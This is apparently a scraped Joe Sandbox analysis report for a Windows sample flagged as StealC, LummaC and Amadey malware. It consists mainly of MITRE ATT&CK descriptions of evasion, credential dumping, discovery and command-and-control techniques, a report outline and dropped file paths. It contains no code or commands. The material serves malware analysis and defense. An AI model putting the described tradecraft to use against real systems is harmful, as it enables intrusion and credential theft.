Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uLkHEqZ3u3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKECFBGIIIEBGDGDAKJKKKEB

C:\ProgramData\AKJEGCFBGDHJJJJJKJEC

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

C:\ProgramData\FBKJDGCG

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

C:\ProgramData\HJEBGHIE

C:\ProgramData\KKKJEBAAECBGDHIECAKJKKECFH

Windows Analysis Report
uLkHEqZ3u3.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre